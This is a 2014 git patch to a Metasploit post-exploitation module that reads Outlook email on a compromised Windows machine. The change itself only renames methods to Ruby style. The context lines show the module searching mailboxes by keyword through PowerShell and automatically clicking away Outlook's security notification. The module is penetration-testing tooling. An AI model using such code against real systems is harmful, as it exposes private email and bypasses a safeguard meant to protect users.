From af9979d30b854aa0ae05d4af8af72da56ef097aa Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 11 Dec 2014 15:24:30 -0600 Subject: [PATCH] Ruby style on methods please Introduced in #4220. This ain't no JavaScript! --- modules/post/windows/gather/outlook.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/gather/outlook.rb b/modules/post/windows/gather/outlook.rb index 8bff533e7d..45da52c54e 100644 --- a/modules/post/windows/gather/outlook.rb +++ b/modules/post/windows/gather/outlook.rb @@ -57,22 +57,22 @@ class Metasploit3 < Msf::Post end # This function prints a listing of available mailbox folders - def listBoxes + def list_boxes command = 'List-Folder' execute_outlook_script(command) end # This functions reads Outlook using powershell scripts - def readEmails(folder,keyword,atrans,acftrans) + def read_emails(folder,keyword,atrans,acftrans) view = framework.threads.spawn("ButtonClicker", false) { - clickButton(atrans,acftrans) + click_button(atrans,acftrans) } command = "Get-Emails \"#{keyword}\" \"#{folder}\"" execute_outlook_script(command) end - def clickButton(atrans,acftrans) - # This functions clicks on the security notification generated by Outlook. + # This functions clicks on the security notification generated by Outlook. + def click_button(atrans,acftrans) sleep 1 hwnd = client.railgun.user32.FindWindowW(nil, "Microsoft Outlook") if hwnd != 0 @@ -90,8 +90,8 @@ class Metasploit3 < Msf::Post end end + # Main method def run - # Main method folder = datastore['FOLDER'] keyword = datastore['KEYWORD'].to_s allow = datastore['A_TRANSLATION'] @@ -145,9 +145,9 @@ class Metasploit3 < Msf::Post case action.name when 'LIST' print_good('Available folders in the mailbox: ') - listBoxes + list_boxes when 'SEARCH' - readEmails(folder,keyword,atrans,acftrans) + read_emails(folder,keyword,atrans,acftrans) else print_error("Unknown Action: #{action.name}") end